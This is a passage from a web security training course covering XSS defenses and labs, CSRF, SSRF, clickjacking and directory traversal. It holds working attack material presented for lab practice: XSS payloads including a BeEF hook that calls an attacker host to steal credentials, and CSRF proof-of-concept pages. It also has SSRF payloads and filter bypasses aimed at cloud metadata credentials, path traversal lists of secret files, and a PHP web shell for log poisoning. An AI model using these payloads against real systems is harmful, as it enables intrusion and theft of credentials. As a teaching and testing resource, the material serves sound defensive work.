'self'; upgrade-insecure-requests; ``` Key elements: - `nonce-{random}` — a per-page-load random value included on every legitimate script tag. Inline injection without the nonce is blocked. - `strict-dynamic` — allows scripts loaded by nonced scripts to also load, without needing to whitelist CDNs (the whitelist approach is bypassable). - `frame-ancestors 'none'` — also prevents Clickjacking (replaces X-Frame-Options). - `base-uri 'none'` — prevents base tag injection. - `form-action 'self'` — prevents form hijacking. CSP is a defense-in-depth control, not a primary fix. Fix the output encoding. Use CSP as an additional layer. #### Defense 3 — HttpOnly and Secure Cookie Flags Setting `HttpOnly` on session cookies prevents JavaScript from reading them. This blocks the most common XSS attack goal (session theft via `document.cookie`). It does not prevent XSS exploitation entirely — attackers can still perform actions as the victim — but it removes the most impactful attack vector. #### Defense 4 — Trusted Types (Modern Chrome Defense) Trusted Types is a browser API that requires JavaScript code to explicitly opt into potentially dangerous DOM operations by using approved, safe implementations. Applications that adopt Trusted Types cannot use `innerHTML`, `document.write`, or `eval` with raw strings — they must use Trusted Types policies that apply sanitization. ```javascript // In JavaScript, with Trusted Types enforced: // This fails (rejects raw string): document.getElementById('output').innerHTML = userInput; // Throws TypeError // This succeeds (uses approved policy): const policy = trustedTypes.createPolicy('default', { createHTML: (str) => DOMPurify.sanitize(str) // Sanitization applied }); document.getElementById('output').innerHTML = policy.createHTML(userInput); ``` --- ### 6.7.8 Lab — Cross-Site Scripting #### Complete DVWA XSS Practice Sequence **Reflected XSS — Full Exploitation Chain:** ``` Low: <script>alert(document.cookie)</script> → Confirms cookie accessible via XSS → Now demonstrate session theft as described above Medium: <img src=x onerror=alert(document.cookie)> → Bypasses <script> tag filter → Same impact High: Examine the source code → High security adds a strict regex filter → Find what it does NOT filter → Often SVG payloads or event-based payloads bypass strict script filters ``` **Stored XSS — Maximum Impact Demonstration:** ``` Step 1: Inject BeEF hook in the message field: <script src="http://KALI_IP:3000/hook.js"></script> Step 2: Start BeEF: sudo beef-xss Step 3: Visit the guestbook page as another user (or admin) → Their browser appears in BeEF panel Step 4: Execute "Pretty Theft" module → Google login overlay captures credentials Step 5: Execute "Get Cookie" module → retrieves cookies (even HttpOnly ones are not directly readable, but the Pretty Theft demonstrates what real credential theft looks like) ``` #### PortSwigger Web Security Academy XSS Labs The PortSwigger XSS labs at [https://portswigger.net/web-security/cross-site-scripting](https://portswigger.net/web-security/cross-site-scripting) provide the best structured XSS practice available online. Complete at minimum: - Reflected XSS into HTML context with nothing encoded - Stored XSS into HTML context with nothing encoded - DOM XSS in innerHTML sink using source location.search - DOM XSS in jQuery href attribute sink using location.search source - Reflected XSS into attribute with angle brackets HTML-encoded - Stored XSS into anchor href attribute with double quotes HTML-encoded Each lab requires understanding the specific injection context and crafting the appropriate payload — exactly the skill real assessments require. --- ## 6.8 Understanding CSRF/XSRF and Server-Side Request Forgery ### 6.8.1 Overview — CSRF and SSRF #### CSRF — Cross-Site Request Forgery: The Confused Deputy Attack CSRF (also written XSRF) is an attack where a malicious website tricks a victim's browser into making unintended requests to another site where the victim is authenticated. The browser helpfully includes the victim's session cookies with these requests — because that is what browsers do. The targeted application receives the request, sees a valid session cookie, and assumes it is a legitimate user action. The "confused deputy" analogy is perfect: the browser is the deputy (agent acting on the user's behalf). The attacker tricks the deputy into performing an action the user did not authorize. The deputy (browser) is confused because it has no way to tell whether the request originated from the legitimate application or from a malicious third-party site. **The fundamental enabler:** Browsers automatically attach cookies to every request made to a domain, regardless of which website triggered the request. If `evil.com` loads an image from `bank.com`, the browser sends the bank's cookies with that image request. This is the architectural behavior that CSRF exploits. #### The Classic CSRF Attack — Transferring Money Without Permission Alice is logged into her bank at `bank.com`. In another tab, she visits `attacker.com`. The malicious page contains: ```html  <img src="https://bank.com/transfer?to=attacker_account&amount=5000" style="display:none" width="0" height="0"> ``` When the browser loads this image, it makes a GET request to `bank.com` — with all of Alice's cookies attached. If the bank's transfer function accepts GET requests and does not validate CSRF tokens, the transfer completes. Alice loses $5,000 without clicking anything on the bank's website. For POST requests (which most modern applications require for state-changing operations), the attacker uses an auto-submitting form: ```html  <form action="https://bank.com/transfer" method="POST" id="csrf-form"> <input type="hidden" name="to" value="attacker_account"> <input type="hidden" name="amount" value="5000"> </form> <script>document.getElementById('csrf-form').submit();</script> ``` The victim visits the attacker's page. The form auto-submits. The POST request goes to the bank with the victim's cookies. The transfer completes. #### Why CSRF and XSS Are Complementary Attacks XSS bypasses the Same-Origin Policy by executing code in the victim's origin context. CSRF exploits the fact that cross-site requests include cookies. Together they are often chained: 1. Use XSS to extract the CSRF token from the page (JavaScript can read the DOM, including hidden CSRF token fields) 2. Use the extracted CSRF token to forge a legitimate-looking request 3. The CSRF protection is bypassed because the forged request includes a valid CSRF token This is why CSRF tokens alone are not sufficient if XSS is present. And why HttpOnly cookies alone are not sufficient if CSRF is present. Defense in depth requires both controls to work together. #### CSRF Token — The Primary Defense Mechanism CSRF tokens are random, unpredictable values embedded in forms and required in state-changing requests. A cross-origin attacker cannot read the page containing the token (Same-Origin Policy prevents reading cross-origin responses) and therefore cannot include the correct token in their forged request. **How CSRF tokens work:** 1. Server generates a unique, random token per user session (or per request for higher security) 2. Token is embedded in every form as a hidden field: `<input type="hidden" name="csrf_token" value="r4nd0m...">` 3. Server validates the token on every state-changing request (POST, PUT, PATCH, DELETE) 4. If token is missing or invalid, request is rejected **Common CSRF token implementation mistakes:** - **Storing the token client-side in accessible localStorage** → XSS can read it - **Using a predictable token** (sequential numbers, userID + timestamp) → guessable - **Not validating the token on all state-changing requests** → some endpoints unprotected - **Accepting the token in GET parameters** → Referer leakage exposes it - **Not expiring the token** → Stolen tokens remain valid indefinitely #### SameSite Cookies — The Modern CSRF Defense The `SameSite` cookie attribute (covered in 6.1.4) is now the primary CSRF defense in modern browsers. With `SameSite=Strict` or `SameSite=Lax`, browsers do not send cookies with cross-site requests, defeating CSRF at the browser level. However: - Legacy browsers do not support SameSite — 2024 browser stats show SameSite adoption at ~97% of browsers but legacy systems in corporate environments may be lower - `SameSite=Lax` protects against background cross-site requests but allows cookies on top-level GET navigations — if state-changing actions accept GET requests, CSRF is still possible - Subdomain-level trust: a cookie set for `.example.com` is still sent by cross-site requests from `other.example.com` — subdomain takeover can enable CSRF Best practice: implement both SameSite cookies AND CSRF tokens. Neither alone is perfect; together they provide defense in depth. #### SSRF — Server-Side Request Forgery: The Inside Man SSRF (Server-Side Request Forgery) is entirely different from CSRF despite the similar name. While CSRF tricks a user's browser into making requests, SSRF tricks the server itself into making requests to internal resources. SSRF occurs when an application fetches a URL or resource based on user-controlled input without proper validation. The application server — which has access to internal network resources that the external attacker cannot reach directly — makes the request on the attacker's behalf. **Why SSRF is critical in cloud environments:** Every major cloud provider runs an Instance Metadata Service (IMDS) at a well-known internal IP address: - **AWS:** `http://169.254.169.254/latest/meta-data/` - **Azure:** `http://169.254.169.254/metadata/instance` - **GCP:** `http://metadata.google.internal/computeMetadata/v1/` An EC2 instance can make HTTP requests. If an application on that instance has an SSRF vulnerability, the attacker can instruct the server to fetch `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, which returns the IAM role credentials. Those credentials give API access to AWS — potentially to S3 buckets, databases, secrets manager, and the entire cloud account. This is exactly how the 2019 Capital One breach occurred: an SSRF vulnerability in a web application firewall allowed an attacker to query the metadata service and obtain credentials, which were then used to download over 100 million customer records from S3. #### SSRF Attack Vectors and Bypass Techniques **Finding SSRF:** Any functionality that makes server-side HTTP requests based on user input: ``` - URL preview / link unfurling / "fetch this URL" features - Webhook configuration fields - Image/document import from URL - PDF generation from URL - Server-side health check features - OAuth redirect validation - XML imports (XXE can lead to SSRF) - File upload by URL ``` **Basic SSRF test payloads:** ``` http://169.254.169.254/latest/meta-data/ # AWS metadata http://169.254.169.254/latest/user-data/ # AWS user-data scripts (credentials often here) http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Azure metadata (requires Metadata: true header in the request): http://169.254.169.254/metadata/instance?api-version=2021-02-01 # GCP metadata (requires Metadata-Flavor: Google header): http://metadata.google.internal/computeMetadata/v1/ # Internal network scanning: http://10.0.0.1/ http://192.168.1.1/ http://172.16.0.1/ http://127.0.0.1/admin http://localhost:6379/ (Redis) http://localhost:27017/ (MongoDB) http://localhost:9200/ (Elasticsearch) ``` **SSRF filter bypass techniques:** ``` # If IP 169.254.169.254 is blocked, try alternative representations: http://2852039166/ # Decimal representation of 169.254.169.254 http://0xa9fea9fe/ # Hex representation http://0251.0376.0251.0376/ # Octal representation http://0xA9.0xFE.0xA9.0xFE/ # Mixed hex octets # IPv6 representations: http://[::ffff:169.254.169.254]/ http://[::ffff:a9fe:a9fe]/ # DNS rebinding — register a domain that resolves to internal IP: # Your domain: ssrf.attacker.com # DNS: initially returns attacker's server IP, then rebinds to 169.254.169.254 # First request: allowed (external IP) # Second request: uses cached DNS → hits internal IP # Using redirects to bypass URL validation: # Your server returns: HTTP 302 Location: http://169.254.169.254/ # Application follows redirect to the internal address # Protocol-based SSRF: file:///etc/passwd # Local file read via file protocol dict://127.0.0.1:6379/info # Interact with Redis via dict protocol gopher://127.0.0.1:25/... # Send SMTP commands via gopher sftp://internal-server/ # SFTP protocol for internal access ``` **Blind SSRF — using Burp Collaborator to detect:** When SSRF does not reflect the response, use Burp Collaborator to detect the out-of-band request: ``` URL input: http://your-burp-collaborator-id.burpcollaborator.net/ssrf-test # If you receive an HTTP or DNS request in Collaborator: # The application made an outbound request — SSRF confirmed # Now test with internal targets ``` **SSRF Chaining — From SSRF to RCE:** SSRF is powerful alone (cloud credential theft), but can be chained: 1. SSRF to Redis (`redis://localhost:6379`) → write to authorized_keys → SSH as root 2. SSRF to Jenkins admin (`http://localhost:8080`) → execute Groovy script → RCE 3. SSRF to Kubernetes API → list pods → get secrets → escalate 4. SSRF to internal admin panel → bypass authentication (accessible only from localhost) --- ### 6.8.2 Practice — CSRF and SSRF Attacks #### Building a CSRF Proof of Concept The most convincing CSRF demonstration in an assessment creates a working proof-of-concept HTML page that performs the unauthorized action when visited. **Step 1: Capture the legitimate request** In Burp Suite, perform the legitimate state-changing action (changing email, changing password, initiating transfer). Find the request in Burp HTTP History. **Step 2: Check for CSRF tokens** Examine the request for CSRF tokens or custom headers. If present, test whether they are actually validated: - Remove the token entirely → does the request succeed? (Token not validated) - Send an incorrect token → does the request succeed? (Token not validated) - Use an old expired token → does the request succeed? (Token not expiring) - Change the token by one character → does the request succeed? (Token not securely validated) **Step 3: Generate the CSRF PoC with Burp** Right-click the request in Burp → "Engagement tools" → "Generate CSRF PoC" Burp automatically generates an HTML page that submits the forged request. Customize it if needed. **Step 4: Test the PoC** Open the generated HTML in a browser where you are logged into the target application. The action should complete automatically, confirming CSRF. **Example manual CSRF PoC for an email change:** ```html <!DOCTYPE html> <html> <head><title>CSRF PoC</title></head> <body onload="document.csrf.submit()"> <form name="csrf" action="https://target.com/account/change-email" method="POST"> <input type="hidden" name="email" value="attacker@attacker.com">  </form> <p>Loading...</p> </body> </html> ``` #### Testing SSRF on DVWA DVWA does not have a dedicated SSRF module, but SSRF can be practiced using the file inclusion modules with file:// protocol, or using purpose-built SSRF-vulnerable Docker containers: ```bash # SSRF test environment: docker run -d -p 5000:5000 vulnerables/ssrf-test # Or use SSRFire: docker run -d -p 8888:8888 trufflesecurity/ssrfmap-demo ``` For real SSRF practice, PortSwigger Web Security Academy provides excellent guided SSRF labs covering basic SSRF, blind SSRF with Burp Collaborator, and filter bypass techniques. --- ## 6.9 Understanding Clickjacking ### The Concept — Stealing Clicks Through Invisible Layers Clickjacking, also called UI Redress Attack, is an attack where a malicious page overlays an invisible (or transparent) iframe containing a legitimate target site on top of a fake, harmless-looking page. When the victim clicks on what they think is a button on the attacker's page, they are actually clicking on an element in the invisible target site. The victim thinks they are clicking "Click here to win a prize" on `attacker.com`. They are actually clicking "Confirm fund transfer" on their bank's invisible overlay. They see the attacker's page. Their click is delivered to the bank's frame. **The iframe magic:** ```html  <!DOCTYPE html> <html> <head> <style> /* The target site frame is invisible and positioned exactly over the fake button: */ iframe { width: 500px; height: 700px; position: absolute; top: 0; left: 0; opacity: 0.0001; /* Effectively invisible to the user */ z-index: 2; /* On top of everything — receives the clicks */ } /* The fake button the user thinks they are clicking: */ .fake-button { position: absolute; top: 200px; /* Aligned to sit under the real "Confirm" button in the iframe */ left: 150px; background: #ff6600; color: white; padding: 15px 30px; font-size: 18px; z-index: 1; /* Below the iframe — not actually receiving clicks */ cursor: pointer; } </style> </head> <body>  <iframe src="https://victim-bank.com/transfer/confirm?to=attacker&amount=5000"> </iframe>  <div class="fake-button">Click here to claim your prize!</div> </body> </html> ``` When the victim clicks the orange "Click here to claim your prize!" button, the click passes through the transparent iframe and clicks on the bank's "Confirm Transfer" button positioned at the same location. The transfer completes. The victim is confused about why nothing happened on the "prize" page. #### Clickjacking Variants **Multi-click Clickjacking:** The attacker constructs a sequence of steps that requires multiple clicks — each aligned with a different action in the iframe. First click on a confirmation dialog. Second click on "Are you sure?" Third click on the final confirm. The victim thinks they are playing a clicking game or solving a CAPTCHA. **Drag-and-Drop Clickjacking:** Instead of clicks, exploit drag-and-drop interactions. Overlay an invisible file upload form over a game where the user drags a game piece — they are actually dragging a file into the upload field. **Keystroke Jacking:** Overlay a text input field over the victim's apparent input area. Keystrokes they think they are typing into the game's search box are actually going into a hidden authentication form. **Likejacking:** Making victims unknowingly "Like" a Facebook page or share content by overlaying the social button over an attractive interface element. #### Detecting Clickjacking Vulnerability Testing is straightforward: if a page can be loaded in an iframe, it is potentially vulnerable to Clickjacking. ```html  <html> <body> <iframe src="https://target.com/sensitive-action" width="1000" height="800"> </iframe> <p></body><br> </html></p>  <p>`<code></code></p> <p><strong>Using Burp Suite:</strong><br> In any HTTP response, check for:</p> <ul> <li><code>X-Frame-Options: DENY</code> or <code>X-Frame-Options: SAMEORIGIN</code> — protects against framing</li> <li><code>Content-Security-Policy: frame-ancestors 'none'</code> — the modern equivalent, more flexible</li> </ul> <p>If neither is present: Clickjacking vulnerability. Create the iframe test HTML to confirm.</p> <p><strong>Nuclei check:</strong><br> <code></code><code>bash<br> nuclei -u https://target.com -id clickjacking<br> nuclei -u https://target.com -tags clickjacking<br> </code><code></code></p> <h4> <a name="which-pages-matter" href="#which-pages-matter" class="anchor"> </a> Which Pages Matter </h4> <p>Not all pages are interesting Clickjacking targets. The vulnerability is only impactful when:</p> <ul> <li>The target page performs a state-changing action on a single click (confirm transfer, delete account, change email, approve request)</li> <li>The target page is accessible when the victim is authenticated (so their session carries the action through)</li> </ul> <p>A login page protected by Clickjacking is lower severity — the attacker can get credentials through better means. An admin panel "Delete User" button or "Approve Administrator" action that can be triggered via Clickjacking is critical.</p> <h4> <a name="frame-busting-the-old-bypassable-defense" href="#frame-busting-the-old-bypassable-defense" class="anchor"> </a> Frame Busting — The Old (Bypassable) Defense </h4> <p>Before HTTP headers provided server-side protection, developers used JavaScript "frame busters" — code that checked whether the page was in a frame and broke out if so:</p> <p><code></code><code>javascript<br> // Frame buster JavaScript (historically used, now considered insufficient):<br> if (top !== self) {<br> top.location = self.location; // Force navigation to this URL<br> }<br> // Or: if (top.location !== self.location) top.location = self.location;<br> </code><code></code></p> <p>These were bypassable via <code>sandbox</code> attribute on the iframe:</p> <p><code></code>`html</p>  <p><iframe sandbox="allow-forms allow-scripts" src="https://target.com"><br> `<code></code></p> <p>The <code>sandbox</code> attribute removes the framed page's ability to access <code>top.location</code>, neutering the frame buster while still allowing forms and scripts to execute. This is why JavaScript frame busters are not an acceptable defense.</p> <h4> <a name="clickjacking-defenses" href="#clickjacking-defenses" class="anchor"> </a> Clickjacking Defenses </h4> <p><strong>Defense 1 — X-Frame-Options header (legacy but widely supported):</strong><br> <code></code><code><br> X-Frame-Options: DENY # Page cannot be framed by anyone<br> X-Frame-Options: SAMEORIGIN # Page can only be framed by pages on the same origin<br> X-Frame-Options: ALLOW-FROM https://trusted.com # Only this specific origin (deprecated)<br> </code><code></code></p> <p><strong>Defense 2 — CSP frame-ancestors directive (modern, more flexible):</strong><br> <code></code><code><br> Content-Security-Policy: frame-ancestors 'none'; # Same as DENY<br> Content-Security-Policy: frame-ancestors 'self'; # Same as SAMEORIGIN<br> Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com; # Multiple<br> </code><code></code></p> <p>CSP <code>frame-ancestors</code> overrides <code>X-Frame-Options</code> in modern browsers. Both should be set for compatibility with older browsers. Note: CSP <code>frame-ancestors</code> cannot be set via meta tags — it must be in the HTTP header.</p> <hr> <h2> <a name="610-exploiting-security-misconfigurations" href="#610-exploiting-security-misconfigurations" class="anchor"> </a> 6.10 Exploiting Security Misconfigurations </h2> <h3> <a name="6101-overview" href="#6101-overview" class="anchor"> </a> 6.10.1 Overview </h3> <p>Security misconfiguration is the broadest and in many ways the most common vulnerability category in real-world assessments. It encompasses every situation where a system is technically capable of being secure but has been deployed, configured, or maintained in an insecure state.</p> <p>The OWASP Top 10:2021 lists Security Misconfiguration as A05 — the fifth most prevalent category. But in practice, it overlaps with nearly every other category: a missing CSRF token is a misconfiguration. A weak CSP is a misconfiguration. Default credentials are a misconfiguration. Missing security headers are misconfigurations.</p> <p>This section specifically covers two subcategories that deserve detailed treatment: directory traversal (a failure in file system access control) and cookie manipulation (exploiting improperly secured state management).</p> <hr> <h3> <a name="6102-directory-traversal-vulnerabilities" href="#6102-directory-traversal-vulnerabilities" class="anchor"> </a> 6.10.2 Directory Traversal Vulnerabilities </h3> <h4> <a name="the-concept-reading-files-outside-the-intended-directory" href="#the-concept-reading-files-outside-the-intended-directory" class="anchor"> </a> The Concept — Reading Files Outside the Intended Directory </h4> <p>Directory traversal (also called path traversal or dot-dot-slash attack) occurs when an application uses user-controlled input to construct file system paths and does not properly restrict the path to an intended directory. The attacker uses relative path sequences (<code>../</code>) to "traverse" out of the intended directory and into the broader file system.</p> <p>Consider an application that serves product images:<br> <code></code><code><br> https://shop.com/images?file=product1.jpg<br> </code><code></code></p> <p>The server code:<br> <code></code><code>php<br> // VULNERABLE PHP code:<br> $file = $_GET['file'];<br> $path = '/var/www/html/images/' . $file;<br> echo file_get_contents($path);<br> </code><code></code></p> <p>When <code>file=product1.jpg</code>, the path becomes <code>/var/www/html/images/product1.jpg</code> — correct.</p> <p>When <code>file=../../../etc/passwd</code>, the path becomes:<br> <code></code><code><br> /var/www/html/images/../../../etc/passwd<br> → Simplified: /etc/passwd<br> </code><code></code></p> <p>The <code>../</code> sequences traverse up the directory tree, out of <code>/var/www/html/images/</code>, out of <code>/var/www/html/</code>, out of <code>/var/www/</code>, and into <code>/etc/</code>, allowing reading of <code>/etc/passwd</code> — a file listing all user accounts on the Linux system.</p> <h4> <a name="what-files-to-target-highvalue-path-traversal-targets" href="#what-files-to-target-highvalue-path-traversal-targets" class="anchor"> </a> What Files to Target — High-Value Path Traversal Targets </h4> <p><strong>Linux / Unix systems:</strong></p> <table><thead> <tr> <th>File</th> <th>What It Reveals</th> </tr> </thead><tbody> <tr> <td><code>/etc/passwd</code></td> <td>User accounts (historically had passwords, now references /etc/shadow)</td> </tr> <tr> <td><code>/etc/shadow</code></td> <td>Password hashes for all user accounts (requires root)</td> </tr> <tr> <td><code>/etc/hosts</code></td> <td>Internal hostname-to-IP mappings (reveals internal network structure)</td> </tr> <tr> <td><code>/etc/hostname</code></td> <td>System hostname</td> </tr> <tr> <td><code>/proc/version</code></td> <td>Linux kernel version and distribution</td> </tr> <tr> <td><code>/proc/net/tcp</code></td> <td>Active TCP connections (reveals internal services)</td> </tr> <tr> <td><code>/proc/self/environ</code></td> <td>Environment variables for the web server process (may contain secrets)</td> </tr> <tr> <td><code>/proc/self/cmdline</code></td> <td>Command line used to start the web server process</td> </tr> <tr> <td><code>/var/log/apache2/access.log</code></td> <td>Apache access logs</td> </tr> <tr> <td><code>/var/log/nginx/access.log</code></td> <td>Nginx access logs</td> </tr> <tr> <td><code>/var/log/auth.log</code></td> <td>Authentication logs</td> </tr> <tr> <td><code>~/.ssh/id_rsa</code></td> <td>Private SSH key (if web server runs as a non-root user with keys)</td> </tr> <tr> <td><code>/home/user/.bash_history</code></td> <td>Command history revealing sensitive commands</td> </tr> <tr> <td><code>/etc/crontab</code></td> <td>Scheduled tasks (reveals automation and privileged scripts)</td> </tr> <tr> <td>Application config files</td> <td><code>/var/www/html/config.php</code>, <code>../settings.py</code>, <code>../config.yml</code></td> </tr> </tbody></table> <p><strong>Windows systems:</strong></p> <table><thead> <tr> <th>File</th> <th>What It Reveals</th> </tr> </thead><tbody> <tr> <td><code>C:\Windows\System32\drivers\etc\hosts</code></td> <td>Hosts file</td> </tr> <tr> <td><code>C:\Windows\win.ini</code></td> <td>Legacy Windows initialization file</td> </tr> <tr> <td><code>C:\inetpub\logs\LogFiles\</code></td> <td>IIS access logs</td> </tr> <tr> <td><code>C:\Users\[user]\Desktop\</code></td> <td>User's desktop (sometimes configuration files)</td> </tr> <tr> <td><code>C:\xampp\apache\conf\httpd.conf</code></td> <td>XAMPP Apache config</td> </tr> <tr> <td><code>C:\ProgramData\</code></td> <td>Application data directory</td> </tr> <tr> <td><code>C:\Windows\System32\config\SAM</code></td> <td>Windows password hashes (locked while OS running)</td> </tr> </tbody></table> <p><strong>Web application configuration files (most impactful):</strong></p> <p><code></code>`</p> <h1> <a name="php-applications" href="#php-applications" class="anchor"> </a> PHP applications: </h1> <p>../config.php<br> ../config/database.php<br> ../../.env # Laravel, Node.js: contains DB passwords, API keys<br> ../wp-config.php # WordPress database credentials<br> ../configuration.php # Joomla database credentials</p> <h1> <a name="pythondjango" href="#pythondjango" class="anchor"> </a> Python/Django: </h1> <p>../../settings.py<br> ../settings/production.py</p> <h1> <a name="java" href="#java" class="anchor"> </a> Java: </h1> <p>../../WEB-INF/web.xml # Servlet configuration<br> ../../WEB-INF/classes/application.properties # Spring Boot config<br> ../../../META-INF/context.xml</p> <h1> <a name="nodejs" href="#nodejs" class="anchor"> </a> Node.js: </h1> <p>../../.env<br> ../../config/config.json<br> ../../package.json # Reveals dependencies and scripts</p> <h1> <a name="general" href="#general" class="anchor"> </a> General: </h1> <p>../../.git/config # Git configuration (may reveal remote repo URLs/credentials)<br> ../../.git/HEAD<br> ../../.htpasswd # HTTP Basic Auth credentials<br> ../../.htaccess # Apache access control configuration<br> `<code></code></p> <h4> <a name="detection-payloads-systematic-testing" href="#detection-payloads-systematic-testing" class="anchor"> </a> Detection Payloads — Systematic Testing </h4> <p><code></code>`</p> <h1> <a name="basic-traversal-linux" href="#basic-traversal-linux" class="anchor"> </a> Basic traversal (Linux): </h1> <p>../../../etc/passwd</p> <h1> <a name="basic-traversal-windows" href="#basic-traversal-windows" class="anchor"> </a> Basic traversal (Windows): </h1> <p>......\Windows\win.ini<br> ......\Windows\System32\drivers\etc\hosts</p> <h1> <a name="urlencoded-variants-bypasses-simple-string-matching" href="#urlencoded-variants-bypasses-simple-string-matching" class="anchor"> </a> URL-encoded variants (bypasses simple string matching): </h1> <p>%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL encoding<br> %2e%2e/%2e%2e/%2e%2e/etc/passwd<br> ..%2f..%2f..%2fetc%2fpasswd # Mixed encoding<br> %252e%252e%252fetc%252fpasswd # Double URL encoding</p> <h1> <a name="unicodeutf8-encoding" href="#unicodeutf8-encoding" class="anchor"> </a> Unicode/UTF-8 encoding: </h1> <p>..%c0%af../etc/passwd # Overlong UTF-8 encoding<br> ..%ef%bc%8f../etc/passwd</p> <h1> <a name="null-byte-for-older-phpperl-apps-with-file-extension-stripping" href="#null-byte-for-older-phpperl-apps-with-file-extension-stripping" class="anchor"> </a> Null byte (for older PHP/Perl apps with file extension stripping): </h1> <p>../../../etc/passwd%00.jpg</p> <h1> <a name="php-pre534-would-truncate-at-00-ignoring-the-jpg-extension" href="#php-pre534-would-truncate-at-00-ignoring-the-jpg-extension" class="anchor"> </a> PHP pre-5.3.4 would truncate at %00, ignoring the .jpg extension </h1> <h1> <a name="path-truncation-older-php-versions" href="#path-truncation-older-php-versions" class="anchor"> </a> Path truncation (older PHP versions): </h1> <h1> <a name="very-long-paths-may-cause-php-to-truncate-to-the-expected-directory" href="#very-long-paths-may-cause-php-to-truncate-to-the-expected-directory" class="anchor"> </a> Very long paths may cause PHP to truncate to the expected directory </h1> <h1> <a name="windowsspecific" href="#windowsspecific" class="anchor"> </a> Windows-specific: </h1> <p>........\Windows\win.ini<br> ../../../../../../Windows/win.ini<br> ....//....//....//etc/passwd # Double-dot slash bypass</p> <h1> <a name="using-absolute-paths-if-server-allows" href="#using-absolute-paths-if-server-allows" class="anchor"> </a> Using absolute paths (if server allows): </h1> <p>/etc/passwd<br> C:\Windows\win.ini<br> `<code></code></p> <h4> <a name="using-burp-suite-for-systematic-path-traversal-testing" href="#using-burp-suite-for-systematic-path-traversal-testing" class="anchor"> </a> Using Burp Suite for Systematic Path Traversal Testing </h4> <p><code></code>`</p> <ol> <li><p>Identify every parameter that seems to reference a filename:<br> ?file=, ?page=, ?doc=, ?image=, ?template=, ?module=, ?path=</p></li> <li><p>For each parameter, send to Burp Intruder:</p> <ul> <li>Payload position: the filename value</li> <li>Payload list: path traversal wordlist from SecLists: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt</li> </ul></li> <li><p>Look for:</p> <ul> <li>Responses containing "root❌0:0:" (Linux /etc/passwd content)</li> <li>Responses containing "[extensions]" (Windows win.ini content)</li> <li>Responses with unusual size differences from baseline</li> <li>Error messages that reveal file system paths</li> </ul></li> <li><p>Confirm with a simple payload first:<br> Start with ../../../etc/passwd<br> If that fails, try URL-encoded variants<br> If those fail, try double encoding<br> `<code></code></p></li> </ol> <h4> <a name="common-bypasses-for-path-traversal-filters" href="#common-bypasses-for-path-traversal-filters" class="anchor"> </a> Common Bypasses for Path Traversal Filters </h4> <p><strong>Filter: strips <code>../</code> sequences</strong><br> <code></code>`</p> <h1> <a name="replace-with-double-encoding-trick" href="#replace-with-double-encoding-trick" class="anchor"> </a> Replace ../ with ....// (double encoding trick): </h1> <p>....//....//....//etc/passwd<br> → After stripping ../: ../../etc/passwd (still traverses)<br> `<code></code></p> <p><strong>Filter: blocks known paths like <code>/etc/passwd</code></strong><br> <code></code>`</p> <h1> <a name="case-variation-windows-caseinsensitive" href="#case-variation-windows-caseinsensitive" class="anchor"> </a> Case variation (Windows case-insensitive): </h1> <p>......\WINDOWS\win.ini</p> <h1> <a name="null-bytes" href="#null-bytes" class="anchor"> </a> Null bytes: </h1> <p>/etc/passwd%00</p> <h1> <a name="additional-path-segments" href="#additional-path-segments" class="anchor"> </a> Additional path segments: </h1> <p>/etc/./passwd<br> /etc//passwd<br> /etc/passwd/<br> `<code></code></p> <p><strong>Filter: enforces extension (e.g., only allows .jpg, .png)</strong><br> <code></code>`</p> <h1> <a name="null-byte-php-lt-534" href="#null-byte-php-lt-534" class="anchor"> </a> Null byte (PHP < 5.3.4): </h1> <p>../../../etc/passwd%00.jpg</p> <h1> <a name="path-truncation-with-very-long-string" href="#path-truncation-with-very-long-string" class="anchor"> </a> Path truncation with very long string: </h1> <p>/safe/path/../../../../../etc/passwd/[4096 characters of padding].jpg<br> `<code></code></p> <h4> <a name="path-traversal-to-lfi-to-rce" href="#path-traversal-to-lfi-to-rce" class="anchor"> </a> Path Traversal to LFI to RCE </h4> <p>In PHP applications, path traversal often escalates to Local File Inclusion (LFI), which can chain to Remote Code Execution:</p> <p><strong>LFI via Log Poisoning:</strong></p> <ol> <li>Apache access logs (<code>/var/log/apache2/access.log</code>) contain the User-Agent string</li> <li>Send a request with a PHP payload as the User-Agent: <code>User-Agent: <?php system($_GET['cmd']); ?></code></li> <li>PHP code is now stored in the log file</li> <li>Use LFI to include the log file: <code>?page=../../../var/log/apache2/access.log</code></li> <li>The PHP code in the log executes: <code>?page=...access.log&cmd=id</code></li> </ol> <p><strong>LFI via /proc/self/environ:</strong><br> The environment of the web server process (containing the User-Agent) may be accessible via <code>/proc/self/environ</code>:</p> <ol> <li>Set User-Agent to PHP payload</li> <li>Include <code>/proc/self/environ</code> via LFI</li> <li>PHP executes</li> </ol> <p><strong>LFI via PHP session files:</strong><br> PHP session files are stored in <code>/tmp/sess_[sessionid]</code>. If you can inject PHP code into your session data and then include the session file via LFI, you achieve code execution.</p> <hr> <h3> <a name="6103-practice-directory-traversal" href="#6103-practice-directory-traversal" class="anchor"> </a> 6.10.3 Practice — Directory Traversal </h3> <h4> <a name="testing-on-dvwa-file-inclusion-module" href="#testing-on-dvwa-file-inclusion-module" class="anchor"> </a> Testing on DVWA — File Inclusion Module </h4> <p>DVWA's File Inclusion module is the best starting point. At Low security, the page parameter includes files directly:</p> <p><code></code>`</p> <h1> <a name="view-the-url" href="#view-the-url" class="anchor"> </a> View the URL: </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php</a></p> <h1> <a name="basic-path-traversal-to-read-etcpasswd" href="#basic-path-traversal-to-read-etcpasswd" class="anchor"> </a> Basic path traversal to read /etc/passwd: </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd</a></p> <h1> <a name="on-windows-dvwa" href="#on-windows-dvwa" class="anchor"> </a> On Windows DVWA: </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\Windows\win.ini</a></p> <h1> <a name="read-dvwas-configuration-file-reveals-mysql-credentials" 